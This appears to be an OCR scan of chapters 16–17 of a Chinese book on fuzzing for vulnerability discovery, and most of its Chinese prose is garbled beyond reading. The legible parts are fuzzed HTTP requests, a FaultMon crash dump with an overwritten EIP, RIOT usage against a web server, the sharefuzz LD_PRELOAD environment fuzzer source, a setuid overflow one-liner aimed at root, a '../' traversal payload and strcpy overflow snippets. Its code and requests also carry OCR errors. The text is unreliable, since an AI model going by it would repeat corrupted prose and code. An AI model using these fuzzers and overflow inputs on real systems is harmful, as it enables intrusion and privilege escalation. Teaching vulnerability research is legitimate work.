AT FR B AR M AR A SRR 1 P N LA, B E N LA SE M ST PR OR
FIERRAMOMA S TR . RATHEGAEE NG M A B AR AR L T
PRI, TSR R R ARRRE R mBARR . RIS, HAs
R A ROX SN SR AL RN B I ] SR TIRXOTM %8, ROV ZAF WML . 16
AR, SFBEEMARE N E D, BT ErIr s,

TATTTLUH B RO B, AR IR SR A MBI E AL . fE BRI R, 3RAT
HARBHIR 0 AR R I FhOT i RILRPITIAMIAL G SRAERI AR o

1. FHEM

TR AN B TR B0, (LU RAGEVRAF 4R BATAT DU ML A 28 Bl
NS, FERVE ARSI T U A SO ERAEAE SR . BARPAE R A A
BRI B, SRS, EERAMBITEALGL . RATHRIOT S AL MER KX
Jrhe MR, 3T U N SR (R AR A B B LB R A T o, (AL B A
M, SHETT AR D T ALV SRR AR P9 2T A S R S K KRR

2. BAER

RS MRS, e, BRATA AR G EAERMARR. i, HENILE I U
8, B AR RS AR B . FERAT IR B SGIEAT KRR, 1 AL T-Zh @I pT
AL, EEERMABIRRIEN T AT . EREOWRLR T, RARILEAEL
LRI (BIVF B R E B0 M, A SR ASER CECRIT, EREBIZ ERPRE
AN, ARSI AT T o A ARA A HE S R AW
PN R A S 3L, 6 B E RSN LR, IREA BT RO, BARTEE
RN K o 1]
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3. IR

—LSORCHESTRAIKFY (¥ ¥ 77 58 T LU OB ELBE AU BIB(5 DL, XA i AE IR ST
AT REC NI E R AR TR, B REH SR X, TLa
ot BRI WA R B A REARE A3 DD - Bl , S SR B BT SRS A F BB KA
R 2 ERAR A EHFHICEMEMCEFR, UURBARFT A 8. e B O
RO M, P 64 FF RORCHESTRAMIFFFUA B, A I I X RS 43 stz X
s b

4. B A A B

TE201H 20804 AR HIFI904E A1, Barton Miller. Lars FredriksenFiBryan So%(/1 FHFA
UNIX#r AT F ettt E— M RRARE MBI, b0 RITSUE Bk S R B e
RSN, ERFEITEANUNXEF, hTRERE, —SMALEIRE T M AR KL
FIUNIXBF R, STFHATH, FOXSMNBEROEE, SEETEROEE. SRR,
R, ZRRFHIFRTFUZZRE, T ERABEARARIRRIRTF (5. B, #
RN R ERARE SRIEA RN 5 . BT RFUZZOE L WA, W7
http://www.cs.wisc.edw/~bart/fuzz/ .

R LA HITAN, ERRFE P HFUZZR A SR AE B RS R RE SRS, B
SRR, WIFRFUZZIE RS, X ZRBFSH RS R REL T HO . BrX
R AR R AR R . TSR ROR, RERAEIEEAE
AT T AR,

16.1.2 BBEIEAN

16,11 1HE T M A RGAERMALIR M 7% A1, RATEHRER G ERLALE
19 T fE 22 DA NI o bl 088 B BRFR3 5E 0 57 0 0 T V8 R O A AL 0 )

ERANTFRLF S, RABITRANYBL A WIOEA B RERIRIR. RIRFTH (b
FENRGAEBAAMARE 77 35 LA — SR FEHE, (EAEE N SR A7 v BTN O MO 7
B RAFAEMATESR N o WA, 47 LM E N ARG TR VRARES, DU AT HITAEIE AT e 3R
AR FF B IESR T BORRFY o ORI s N L 32 B8 T ) R 2 URB A — R BRI,
RIAREBEAFRER, QGG S s EAREFCMANEE.

16.1.3 fEIESI#

AR AR I AL TG T 5| I, RATB T LUE B AILh T o 5 E 51§67 T
STAEFRMAMCRIIL R, T BAE PO B ARAF BRI, DU (BRATIZON. MR
ARSI, AT R, TR EMARIE NG, R SR RS
THEFRF. ROAETEHB T EHATIRE M KB HRE, TUE
http://www.wil IV AT EINRIE S RA R8T, 65
TS XA, SR KIBIRE) FAME, WRRERs HRR. R
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BEH 95 | R AR ) ORETE A R A, EZXHIRCARE BBANEE, TR
WNBAR, RS SOR K A TR AR ALR . X5 §Eth SR H AR AR I IEAT
FRBE, RHE M ROEREAT I S, DA RATSRAS MM A SR TE BT TS B e A A B AT
MARBREES. LRI SN RIS AR F AT USRS\ R HRER .

WURARART T SR A R ZE, AIRIR AT RE T L2 P WA BOR . SR, FliE
128 HARRL P I L. AR, ARATREE RS, R X MM AT, 5
AR E AT AL RAERARE I, T LW REQPAT I E AL EMTR Wik, EX s
FREENIZAR, LKA SRR 1. S5 — AN P AU -

GET /index.html HTTP/1.1

Host: test.com

RBERATFFUATR, BTN SUE QLT JrikcR . B —RESTRE S, ROVEZA
N, AEEEUR MRABUR S AARRY, TERAEUE, KRN T, %R
Ji B RR A R MR, XA RRR L BIEER 5 BT AT AR R 4K . 2 T oRAT i
N SAE SRS, WRtRAE AT JAERISE2A TN, RERATERR, EAEMAGA M, I
SLBEEUR RMABER A AR . B, M FRAMIRNESMEA L, RIPEEL
WREF— D WA I0MNEIE, SMRABIEAS 000MEN LT, oA 51w LR
H1 000N, A4 LFRLORN, RATTRRBLEH LAHTT.

T ANFHERMABR B BT 2 SERIRHE N\ S, BATTAT DA i, YRR TR
ANBARS AR TG SRR, AR T LAEMA SR A T L SRS, TIARLE
HAFIFZIGHNGEEET o Wanst, LREIF gk ik, URL hURAS. %k
BRRy Al WRFEL LR, BT BURLIKISES R4 Pl E: / RIRA S, #E
AL R RACIBIRA HARDNS . h BRI A TR B3R MR RE NS,
EUHRE Tk

1. SRITBIR

FFRELEQIRATRFR, W ATRES (nemRs) AR, BRSO FRR
AT RREEAEE, AR TG T MRHMEINEE. KRAS, BATETFMEH
B, A E TR A ?

GET /index.html HTTP/111

R F RN YRS, G4 e 22 SRR BRI ? 7T LURRERR 75 5 B RAT R
fEAE R, BInABI AL

GET /index.html HTTP/1.1

AR ) T PR S JRA3 RA A5 B SR R B LA B TE 2 I 43 SRR R, JURRAN
BTG F R T, BHEH, BH BT FRMBTA A, 2B RN
AT P BRI A o A AR — MR Z AL, ST BURAE B2 it F 7,
Hitt, HATVE BIRALLTEGE RS, W EURIRBEA A A RAT XA, A2 RTRE R, B2,
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KRR SRR G, B, ROTLFHE L0 SRR BRI, LHERKAES#TE
HREES .

HE R 2 DM A AR T RBUE U AF (delimiting). & XAHBH R ATHTENR . -5
BT MASCUTFH . FHADS—MIAKSE, XK, TA VAR KA\ LT

GET /index.html HTTE/1.1\r\nHost: test.com\r\m\r\n

VER, EXMAINIRR, GARGHASEEATTT . HTEH A5 B, URIAZH 508,
WA S HIERAT G, TIRASHOS I, KA SHEESRT, AHRATSOmE, B
HAMLMAARAFIELATH . B, RTHE SRR SN RS AR S, $ILT
RESRBIE D MRIT, TIARTEREE MG, RATHLED B8/ N 46, R,
BATIOHNBAS A 2 B 4 AR sRi4 57 77 1 1

RAVHHIEEYE2003 REIZAT 100, 3 Ho—FMUT A IR ¥ 570 H 5 W 702 48 A2 7 )
PRFF o

T BRI 51

EEYE2003GET /index.html HITP/1.1\r\nHost: test.com\r\m\rin

GEEYE2003ET /index.html HTTP/1.1\r\nHost: test.com\r\m\r\n

GEEEYE2003T /index.html HTTP/1.1\r\nHost: test.com\r\m\r\n

GETEEYF2003 /index.html HTTP/1.1\r\nHost: test.com\r\m\r\n

GET EEYE2003/index.html HTTP/1.1\r\nHost: test.com\r\m\r\n

GET /EEYE2003index.html HTTP/1.1\r\nHost: test.com\r\n\r\n

GET /iEEYE2003ndex.html HTTE/1.1\r\nHost: test.com\r\m\r\n

GET /inEEYE2003dex.html HTTP/1.1\r\mHost: test.com\r\m\r\n

GET /indEEYE2003ex.html HTTE/1.1\r\nHost: test.com\r\m\r\n

GET /indeEEYE2003x.html HTTP/1.1\r\nHost: test.com\r\n\r\n

I3 BRTE B AL R T 51

GETEEYE2003 /index.html HTTP/1.1\r\nHost: test.com\r\m\r\n

GET EEYE2003/index.html HTTP/1.1\r\nHost: test.com\r\n\r\n

GET EEYE2003/index.html HTTP/1.1\r\mHost: test.com\r\m\r\n

GET /EEYE2003index.html HTTP/1.1\r\nHost: test.com\r\m\r\n

GET /indexEEYE2003.html HTTP/1.1\r\nHost: test.com\r\m\rin

GET /index.EEYE2003html HTTP/1.1\r\nHost: test.com\r\m\r\n

GET /index.htmlEEYE2003 HTTP/1.1\r\nHost: test.com\r\n\r\n

GET /index.html EEYE2003HTTP/1.1\r\milost: test.com\r\m\r\n

GET /index.html HTTPEEYE2003/1.1\r\nHost: test.com\r\m\r\n

GET /index.html HTTP/EEYE20031.1\r\nHost: test.com\r\m\r\n

XAGIFRY], BMEMASRAR N, R AR T LR R TR, 8 NART
MEABERHI RGN, LT RGN, SRS, R B R A
BAAETE, SR LA BRARWIRA R o T LLBEAT o] AT LA 76 JLAE P 3R AL 224 e B A
J¥, ARSI AR BN AT LU HHAES S 1 3R H %2 4 ] I R SR AR P

2. SUBHRN AR R G

BANBLIHRIL NS I M, BUAER TR A A A R ITIE kB, BB TE S| %
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AEF RGN H R T — M, RAHBR 1 024 x5 . RAVIRA BT e &
#E AR F A RILFEL, 0 F ARSI AT AR G X AR/ . RS S IR, BT, RIS
B LB . (R, WA AR SR il B ARR R ML B RS, T HARRF 4
RAEIRGIRE T R IR IR L I ] o

EURRFFI £ SRR TG R 0, HrTe J7& K RET A ibI 1288, fHH
FRERFEEMARRE, REEHEBHHASNK . HE LRI AR 024B (KK
BT 128BRYRRED, BT R AREREH EFFRIREFDIER AR, TS B0 AE A LBk
B X

TBE AR FIREYE? VFRATATEA 2 XEPRIX R/, Bl 024, ZERIRLF
o, WUGEHIB, RIS, B KTUES BARREMER. B, BRAJLEEITHR
AN, WARITTHEAL 0245 BIE, A SERIXF IR AL T RS KATFA. [
b AN 13 R R R B

HAIRT PR RFRT, RATT LR SIXEFFRONTRRE, TRENNFREE
FECIRAM SR G (B IIAAN) . Hen e, 2459 752 SR T Te R RS, AT 1L
HH LIPS (Bli0Apache. Sendmail. Samba) AT, WidiKHEYFRY, RATAILAAHET
PRBNH B KA o Bid ik, RATRIUA D B9 X K/ NEI2RBU2MnNTT, 101324 64
128, 256+ 512, 1 024%; DHRFRLIOMANTT: HABMBAIXEAAL, R AT RS bk
LRARER, AR R 11202 1.

ARIRIX LT, BT AT LG — A o] Ak R K 2 B o X i H (P X K ANBURR, FFZEGR D
BERRT/E N EAB NI R X 3 B AR R P 7E A WA ZE TSR BB AR 40D b T E S 243
WFFIREER, BAF I ARER I ENTRARAE T4 X 88 IR R o WA s A/
B, ATLURBLZ LRI TS LT AR B AR AR — AP R . RATA AR
BUABRE R BEA YIS TCHHE A7 )T B A ARR, DAL L TIBOOF MBS T o

KEVRAE N T BES I TE ()M, FERBZAARY, S A MANSETRR . BRXHITY

RRT AW, (2SR R R IR BRI R A T . A T AR
AR MRS %, T REE Bkt BARRE PR R A 00 2 WG FARE Il Mo e
AT B R B . KSR IR IR R . — MM isdigit (). isalpha() .
isupper (). islower(). isascii () ¥CHREHBRMANE.

IR ST, TRIVEN B S T RCF MR, 2 BFRRA7E
isdigit O ZJF, RMiiisdigic () MGRIEREHR. Wl N\ RMOEFIBITIREER B, RN
A LAZEIE K2 S B T TR — MM A MR N 22— SR T RS AT BRBE AR
LA LA

— AR K/ A 00 B 746 7= A 01T AT A ) SRR U1

GETTTTTTTTT /index.html HTTP/1.1\r\nHost: test.com\r\n\r\n

GET ///////////index.html HTTP/1.1\r\nHost: test.com\r\n\r\n
GET /index.html HTTP/1.1\r\nHost: test.com\r\n\r\n
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GET /iiiiiiiiiiindex.html HTTP/1.1\r\nHost: test.com\r\n\r\n
GET /indexxooocooooa. html HTTE/1.1\r\nHost: test.com\r\n\r\n
GET /index.hhhhhhhhhhhtml HTTP/1.1\r\nHost: test.com\r\n\r\n
GET /index.htmmmmmummmmn HTTP/1.1\r\nHost: test.com\r\n\r\n
GET /index.html HHHHHHHHHHHTTP/1.1\r\nHost: test.com\r\n\r\n
GET /index.html HTTPPPPPPPPPPP/1.1\r\nHost: test.com\r\n\r\n
GET /index.html HTTP/11111111111.1\r\nHost: test.com\r\n\r\n

16.1.4 {RITHRE

BUAE IR SR N B — RO BT R R | 3 51 R N RS, BT REMIR R %
AR PRI, —BURIE FARERF T DA SO A SRR AT, Bl
Windows®, AfLAEI RS, EME. AR, Windows#H. LPCHi . RPC. Ft%pK
1 BrATEH AR R AN KA AT M . DA SR 1 e T (B A5 A L TCP/AIP
LN, SEILIX LN, BATAT LARIEAEIER A — A0 FRINSAM TR . AT
30 1ok DY 45 VIR BT R ) T AR F Ok

AN SRR (15 1E 5 |88 5 IE S ISR BRI FR, RATAT LU TCP/IPR % %
B, RBEBURHIMARIEES BT, EESMARIRIE, TR R R R

(OB UEEEE0 5 SAT ES N

(2) I RSB U (93 A B

(3) KB (0GR W

[OPSGILE:3 N
16.1.5 Nagel ®3%

Windows IP SR IAE HINagel$id, XA G N ERICHItES, B2/ N IR
R MROE ERAART . FOBRATMOIIR DA 3. RE=APR, BT
334 # #No_DELAYARIE K4 FiNagel 5 i o

16.1.6 FBiF

Y Ctiming) 19 i B ECBEHERR v AL AR ORI TR0 ST (0B, LIGERER 5 2860
WARE, eI RN TR SRR 1), SV i R AT RO . ROTANFRi# 2 M), WLk
AT RGE R . RRT W — PRGN ¥, S H AP 2T AR, e
SO REAT RN RS 8%, T RERESEARKRRINS ;1 A AN A SR T e e o P 5 280
AT AERBERBACIENT . 0%, BUFIITIER T FE—IREHE, HAEH IR BA
T
16.1.7 RIE

ATV AT AREETT B (1 BR VB DUE I &R E B . BARREEE MR EREMA T
R, ESRWIERNT REH T —%, H8EEAREHRBSMRS . REER S
WIFBICR N MRS . RIRAIEMBIIE A RIE PN R, T4 L BERARRRIT AR
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BRI Z SR I X IR SR o ART LUK A IR S5 B R AU RERARRS T 8, 4Tt Ry
WCE R 95 BRI 4R (Ailnternet ServerfiiR) i, SEM—AMFIC, T HHRIFETI NIRRT
BTG B ARt BARBEURRCE . WIS D) KA T 7= X Fh KL Web Serverb i,
ERIZFERC AL, SR AL 23 (A i W At 7 A X AR
16.1.8  TRAEWMILSETFRAH L

RIS I AT LASP I K2 TR AL TR PR TRAPHURA S Wi, RATH
TGRS 28, TR E MM AT UL T, 8 PRSI — . R
HOMMBREN RGFT LU A4 S TRE AU AR R B 2 A %,
Bt WA BERAFE O E A E R L e SRR, Jﬁf‘iﬂﬁﬁﬁﬁﬁ
AEH VRIS — ks B M Z AT A R EIEA th R AR

DBEGE ORI R U X L EGEAT AR AT HFREMH U RS T
AR T RS EAR B AN SRR SOR A (9 ST A 4 S A B TR S 4 9

16.2 SRR

AR MR BRI A I 2 5 B MR — 3R, (HSERR BRI, FBIRIFR IR B M
BB N RGE R TAR A B O I A R R, AR MR SR 4B L (55 4
BB RAE TR LAY I S AL B R R AR () S R I R B TR T R
WL, FT LA LR B A K i .

16.2.1 {EMAIAIXE

I ARAEA AR T A, A RS IE AR S IR T K SR A B IAN, e
W EFARREIP RS . A2 KR A TEBR AN L T R SRAR L B A O A R 53, Bk
CoACTEHISENE o SEAL M IR A A VAR AL IS0 o WURAR I IR 28 0T AZE S AR 4R
AT, MRAVE SRR WA S . B —F, MR
PSR LR A PR U 1) T8 P A stk i S R A T BB SR S IR MBI T A
ERUFBATWIRRIRRS AT 7T LU B 3 1)
16.2.2 FaultMon

fummmwmtmzkmw ROIFRGHEIT MR8 A T SRAMKA BRI, RATEA BRI
F43 Chttp: ) L4 ftFaultMon, ‘& JLeEycli 5T A Derek
Socderwnulll L. ZE{¢fiFaultMon, RG{TFF QAT 11, A AARERNID. 45747
A, FaultMonf§ 7EHE I & b B3 A1 AH Bl

21:29:44.985 pid=0590 14 EXCEPTION (first-chance)

EAX=00EFEB48: 48 00 00 00 00 00 FO 00-00 DO EF 00 00 00 00 00
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EBX=00EFF094: 41 00 41 00 41 00 41 00-02 00 41 00 41 00 41 00
ECX=00410041: 00 00 00 A8 05 41 00 0F-00 00 00 F8 FF FF F¥ 50
EDX=77F8A896: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 0C 00 00
ESP=00EFEABO: 38 25 F9 77 70 EB EF 00-94 FO EF 00 8C EB EF 00
EBP=00EFEADO: 58 EB EF 00 89 AF F8 77-70 EB EF 00 94 FO EF 00
ESI=00EFEB70: 05 00 00 CO 00 00 00 00-00 00 00 00 B4 69 CC 68
EDI=00000001: 22 ?? ?? 2?7 ?? 2?2 2?2 2?7-22 22 27 22 22 22 27 2?2
EIP=00410043: 00 AB 05 41 00 OF 00 00-00 F8 FF FF FF 50 00 41
--> ADD [EAX+0F004105],CH

Continue? y/n:

X BRI P AR AERIOTHIA A3 72 7R B FaultMondh 310 . 25 AR N -1, AR RHIX
ANRET, BA TR ATER U3 Z M B R FF IR A -

16.3 L&

RAERF RIS LR T RIOTIIWRFS R4 AP RIWin32Ri A . BHEIFRIOT, He
RIOTH!IFaultMon S HI |7 SALAY 7 — H R FRIRT . A4 A AU T 6 O SR AT — K 1o 3
IR

GET /search.ida?group=kuroto&q=riot HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0

Host: 192.168.1.1

Connection: Keep-Alive
Cookie: ASPSESSIONI IIMGLLNNG

AR, RATELW IS T . AR THTIFHA - %shell (cnd.exeds F—
AN @ shell ANTE PRANIIRA . JEAT 4 WEE W B WeblR 9558 L3TFF, RAIZES A fr L shell T
JZ4TFaultMon, JHETESF AIEAT i Web/i %5 B M AAIDA AT . WFHRIEAEIZITUS 5.0, Al
Hinetinfo.exef#FD. Wi inetinfo. exefFRDE2003, APALER AN 478 O 24
A:

faultmon.exe -i 2003

fEFaultMon i 3t Fi ey, LA EIW HER T —RIIMGIE, o ABBOXEREE, SI1M
FaultMonf#I S AT K, FIRRIE K. Ft, FaultMonE42 IEHIZATH TFUAIAMAM T, A1
KBS K HL B L AT IF 5 shell.

BUAE IR ZATERIOTHE ML EATIF. 7E8 1 ABIRIOT, A H AR EALIMIPHAL
FIWebfi %5 28 MIWT (R 115 o 0 SR Web iR 25 38 IPHIE 1£192.168.1.1, 311280, MBAKMA R
4

riot.exe -p 80 192.168.1.1
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RIOT F #5 %N SO S VFAE R T WebfIR 45 38 1 R BT CLAN A R b X 386 HH IR . (SRR e
V9 ST B34 T i Windows 20008 %5 2%, 1R AT Ak R TR BRLL (AR TR A (MR -

RIOT H % B0 SO E T 3 19RRME. ROITAID 1774, MUFEMEZ &N
REH AR, AR TT DURERK M, IR E D RAHAFS . RADEIRAE TR, 4R7T
UL E, R T B QN SBEA RGNS . RS B AL T ahnk !

16.4 &

A, BAFEDT SEMIRRF ARG EEIEA, BEoR 7 ENARIOTREEE:, Ll
R4 FFaultMon iR B ARALST o



'
AR SR

*EMMRE*’!‘@EE‘JHE, Gl TR O RIRRRFT R &Rt RE¥ER
RALFSEIFBIFALE “FIRIE” MEEHAR, HAZELHEE— RO RLTRHEE
SRIEA AL FIAE R EOR . FEATE, RATHOH AR S B9 RE /G AR i LA A
FRAALFEARKIA, I EEAREB. R, WAFIEE, REE LRRNBIRA C2
HALER, ELVEFREEWALAKMIPEERIE T ARREHIRQTREFIFIZS .

171 BEREE

BT — A XS, P ORmEMEASR (EBI6HH AN, FERMAR
AR, A AT R T BB R P IRAPT G A4 R TR 2 VA B R R K
TARPARAR), B IE N B IRL: HARRF. #l, YR Llikfree () WALEFINULL (RERATIH
FAKI, Hikgeteny () IEFEHCFRGH . FIXA EEAIK MRS ZRATE TS A THIT
SCfE, AREIAELE N BRI NIBAT R IR CTRATIOM) . RS, EiEfree ) i&Ro,
#RJ5H Venn Diagram™iH i FHE M EHE. i RRABIHUR & TR, B ERREA KX
Ty AARATE TR T BHAHEUSME MR, EFRIIE, WRBELA N,
A S EE R BT AR A, R B OEAT I T A eIt E R

sharefuzz & — A~ i B ¥ BORT 8 R & BE N T, AT BUA http://www.immunitysec.com/

shtml 2 F 4. & MSolarisskLinux (I ARAL, FIF-Hiksetuiaf/F
BEAAME X BWIA . k& FL ‘M TERM="perl -e ‘'print "A" X
5000 ./setuid.binary T LA Froot” XFEMHIR, MW RALETA AL, sharefuzz
] LA R 2 X TE R X U2 sharefuzzfE A MITEH IS T 8, Boanidt, BEREURH
~JA P RERBL T Solaris . {11 ibs1dap . soff i R 4M BHMELSun, kK, XANREHB
Feflaff 2R BFSHARE L T Sunde

© WFATERE. WCH, CRE, SRR, SHENYT, KRR MERBAHR. —RINER, AEa
TR LR R RS — Sy, S — il — R PR, R L6 AR R A D A B K R
FeRoRiE. K5 KAREHAERTE DEE . FOFREBHRICRERANE, BRI RR2
b<I, ZEHIHIT BOR AR AR, 140 02 M BR AT LURAERT— R MIbC o, R PR h & &2 MiZ
4% 3 John Vel fr 44 1), —— ¥4k
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K T Bfifsharcfuzz i Py BIHLEE, LBA VMBS — T HAEBALH.

/vsharefuzz.c - a fuzzer originally designed for local fuzzing
but equally good against all sorts of other clib functions. Load
with LD_PRELOAD on most systems.

LICENSE: GPLv2
*/

#include <stdio.hs

/*defines*/
/*#define DOLOCALE /*LOCALE FUZZING*/

#define SIZE 11500 /*size of our returned environment+/

#define FUZCHAR 0x41 /*our fuzzer character*/

static char *stuff;

static char *stuff2;

static char display[] = "localhost:0*; /*display to return when asked*/
static char mypath[] = */usr/bin:/usr/sbin:/bin:/sbin";

static char 1d _preload[] = *";

#include <sys/select.h>
int select(int n, fd set *readfds, fd set *writefds,

fd_set *exceptfds, struct timeval *timeout)

printf (*SELECT CALLED!\n");
}
int
getuid()
{

printf(****getuid!\n");
return 501;

int geteuid()

{

printf(“***geteuid\n*);
return 501;

int getgid()
{

printf ("getgid\n®);
return 501;
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int getegid()

4
printf("getegid\n");
return 501;

)

int getgid32()

{

printf("***getgid3z\n*);
return 501;

3

int getegidi2()

{

printf("***getegidi2\n*);
return 501;

/*Getenv fuzzing - modify this as needed to suit your particular fuzzing needs*/
char *

getenv(char * environment)

{

fprintf(stderr, "GETENV: %s\n®,environment);

££1ush(0);

/*sometimes you don't want to mess with this stuff+/
if (tstremp(environment, "DISPLAY"))
return display;
#if 0
if (!strcmp(environment, "PATH"))
{
return NULL;
return mypat!
}
#endif

#if 0
if (!stremp(environment, "HOME"))
return "/home/dave";

if (!strcmp(environment, *LD_PRELOAD"))
return NULL;

if (Istremp(environment,"LOGNAME"))
return NULL;

if (!strcmp(environment,"ORGMAIL"))

{
fprincf (stderr, "ORGMAIL=%s\n", stuff2);
return *ASDFASDFsd";
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}
if (Istremp(environment,"Tz"))
return NULL;

#endif
fprintf (stderr, "continued to return default\n') ;
//sleep(1);
/*return NULL when you don't want to destroy the environment*/
//return NULL;

/*return stuff when you want to return long strings as each variable+/
££1ush(0);

return stuff;

)

int
putenv(char * string)
{

fprintf(stderr, "putenv ¥s\n",string);

return 0;
}
int
clearenv()
{
fprintf (stderr, "clearenv \n");
return 0;
)
int

unsetenv (char * string)

{
fprintf(stderr, 'unsetenv $s\n*,string);
return 0;

init()

stuff=malloc(SIZE);
stuff2=malloc (SIZE) ;
printf("shared library loader working\n®);
memset (stuff, FUZCHAR, SIZE-1) ;
Stuff[SIZE-1]=0;
memset (stuff2, FUZCHAR, SIZE-1) ;
stuff2(1]1=0;
//system("/bin/sh") ;



17.1 H#HalREe 359

EXBRBRFAIEE, R ELRHEMARS% L) FILD_precoadiis, MRLEHE,
sharefuzz % Foeteny () WHIIF BREE MK ER# T ERF TR EREF RN S 1B
iR, By TIE#W &R, AILHEDISPLAYE B A R AIX Windows§t % .
rootFATE Al AR #4:)

LK, AT fsetuiaf A LR ALD_PRELOAD, Fhab/Mikrooti R, ik &Kk T ARH
RKLRGATH, FEET, A EAF B T o4 KcoreX M4, Hit, AR T vA Fl gdbMt £ B
AR R GAEL . T AL I, BRI, R A R T
H. BHESLA, AR AW setuidfigy iSAA P R IMF, RANJeik sk R gL
kA, ARRMIE MR &,

Windows F #.4 — A~ & sharefuzz £ 4149 T &, 3 H 3% A& Holodeck ( www.sisecure.com/
holodeck/) 42.& #kiit, BMBMXLTIL GRAKBIEN ) RAMKEFFFLF 6, FREM T2
ARK, CMNAEMAK S KbugikIR6) 1M, TLEAKS BB L.

WRAK EIABPIRE, DA RN LB, sharefuzzRi% SR “ HIXEHE & MIMBE A 287,
BAVG AT~ Fsharefuzzi AN EME . R sharefuzzif S AEATIR, (B, RATATL
THREVFE MBI TR (WSPIKE, 1754 AN HRES.

1711 BRSO SHMMIR

SMENTRE I = BIRIFIIHT, SBRIR TR “HRF)” ROWAR, T3
BEEH P (MR 4L F RIUX MR RS B0, 43R sharefuzz I MR F HI3HT,
sharefuzz £ [f RGN RS2 R, UK FIRRBANMER CRARIR SETHIS. RITE
TR RS, BATCUA R AT IR, A REUR RIS R TR .

FERPA IR, FALH BT DR 5 R I, AL A4 B AR SR AT SO R R
TR AL  (LAED A AT b, A FARBRER G M HE RO AR DUE S0 B R R IR R
BOERRAIET, RHBRA S K.

AT —TTER L, OB TR h R — ARG TR . i, =ik
(Double Free) HRERIM T EM A KIRIHFE LR A A R HBLAOHHR, LA HLBRIFHBIT,
AR EHIR TR NBHLIOMA BB BAR RGN R, B25% BN T Mo
HP R, WEASE MR T A SVFBBTR TR B 2 B R R R T A TG
WHIRER, I8 S VFLEAER A B N B S RN 55 2 TSRS R
17.1.2 AT HRAGHERITNR

HEOHTR AT BB . PV A TR R BARRR SR, o THiIE,
EHBIRER, SRR, HH, RN ERE AR AR, T H NIRRTl
A, 2RABEAROBN, QFEEFRE. RFET. SBEHRIMEE. B, AR
T LR IR ARA BAFAE, {BJLPAR TG, ) IR 5 2 U 1 s 3R
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ALV E R AR Mk R, BATXAN AR AR AL R IR A . B, AR
PR TRRBAT AL .

VU P4 a1, B R SR SMTP Ay RS 7 v th i LU FRRSLAb R 2 11
SMTP (A —REFEF IR FIRE. indl, WRERKANRERFFRIAWE, HHTUME
XL, S 2BRIRNRELE A IR SR /F P o AT RE AR BRI IR, M BRREAGRY S
SR I RAAAT, AT R AR N IR

RATEHIRIR TS GETT 55— AN Eh, BRI -MHUEF RO FRF SR, THA
A PIVE FRIOWA TR R B0, RATE—APython’s (I H 74 & A .

print *../**5000

BAFHBAMAERTROTRE 2 (Fl, Web CGIRUF) LRI “FIHRAERCCH” (IR,
i EL#EHelixServer (H17yRealServer) Bt ABL T 365 A MHINT . X MRIRA FEMCRFHA
1l PERRMRH X RAFREAN H R R4

void example() {

char * ptrs(1024];

char * c;

char **p;

for (p=ptrs,c=instring; *cl=0; ct++)

¢
if (to=='/1) (
*p=

REHATIE, RAIN S - AR &S HRMIRE, EQRMA AL 0241, A
BT A 8 16 5 £ (94 6 S0 ARAE RO ST RURAF (KR [l ik, S = R . esh,
PN BRI AL, H HLinux. Windows & FreeBSD-& L # LIiZfTRealServer, FTLLE &
DRULA RERH RS £ 4 Mshellcode I iRZ — .

IXAMKEEBR ) IR T Real Serverffgvi MRS B o EAURINI IR T R A7 2 400 SUA RV RS,
BRBERIEABLFIFOURL. SR ERE R EEA N, RULECHAE LHARF
B A R ET BN T . 0

R AE R, FERST BRI TR R, AT K4 i (6] SR BRI MR T R
FERI SRR, AE R AR TR BRI AR R A . XA R, EIERORIRIR
TSCBAT AR R, T A KB EA. SRR T AR B ARk T
ANAELF. FBORA TSR SRR, 3 HA SRR RIS o T BRI 45—
8, 7 SR ORISR T AT @ S

17.2 EEMIE R RS
A LTAAUR, KA AU HEIRIRYE A7 32 BURRAF A0 R 7, (RS e, &



173 #IEFHRLEHBIEE 361

WHEMRRE. i, SMRREAR S R RN — R, fin, e
P T AR B

if (!strcmp(userinputl,'<some static string>*))
s
strcpy (buffer2, userinput2) ;

B RIX MR, LAHCuserinputl BB FHH (HIEE IR F/E, BRIN
BRI TRAARAIE), Muserinput2 R —MER KN TR B . AT LHER MRS RE 82
#8.

(1) Userinput 1AL —MEE TR .

(2) userinput2 A ZR—MBK I PR H .

B, BEIXAMEFESMTPIRS 3, BiHELO. EHLOMHELLAE HHellofr 4. JR%BTHE
FEBHELLIN A RARR IR, THXRRATFH, B X /NSMTPHA] .

TRBHIBIREH —FURF BRI TR, M HAME, RIIRR & RIS RIRDTIERS el Hct
BORHMK . BRI 2R — S TR . KRR AN, MR LSRN
AT R IRAMA 2R, BREZANMA TS, RIEKHE . CHEORIRIR R
Bho —AHOESFR— MR TR

SRR X P E R, — SRR B AR AT IR ST S AT I 00 AT
KERAhe XEBA T LUMARACB AT, # 7 AR RBIRBE SRR S IR .

ERAZFEBIRRTAZE, RIS FSMIR T RER G, ATREREN S
MHRNARIEALRY, HMESPIKE, RACHEN, MHRRFALT: REFERIA - HI
FFAE AR BR, SURB T kL FARRR P PR B A, B TTRE R HARR P e B
PR N 008 I 2 9838, T 26 BT AT B0 10 51 T o 4R e TR 00 B R R OB (BiMail
rpc. ttdbserverd): B KRBT INAEN Ay, TERA TIPS BRERIMTAIFR .
AFTEMR, KBTI AN Ao

17.3 EIEBAME LSRR

BT T EHL A BORRATR Y, B0 R LA R T BRI BASAE, (5
SHRATRBE, BT IHL HFRG AR FIRIFHRAAKRE. RATICE X (R ET RN
o IKLERE A PRI U2 DM SURISLAR OR3P O S IR R A TR, A RHRHIR
o

CARZE FF RSB RR T RN AR KRR, Loanist, FPerlfiz FISCARGAR 7 HALOT TN,
RS FRAIESAEAT . (APl WA IS, WA CEAMN NIRRT, o
SNMP HUBFHIA L1 . HTTPBUISIS TR . SMTPEUHISA TS, EHER. TiH, mBESMTP
BIAEHHHHTTPRNE T, HEAWE?

© KEMHEIRORT, ——FE
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HRRIKAN 6] BB AL A I R A R A AT MR SRS, 8RR BEZE LA M R
A, PR UK VRS AR X i BRI A0 . MOy OB R R KT R
RAMFRHREHRFRH AR RBHS . HX R —BREF, HORRRBRRATR
JUPAET et B AR BOUGTR . B — ORI TR 7T LU o B AR P RIBT A AR8S, e AT
AT ERITFRERNAER . 1758 ABUXE ARi SR, SEEMARb—2
AR BRI R

17.4  H AR R RERIREMIIAE

BRI AR AT USEIUR S E . SRR AL AR, £ R, AT LA A
1741 fu@st

AR I P

<length><ascii string><0x00>

RO AU IR, WIS RS 2. B, R K B i
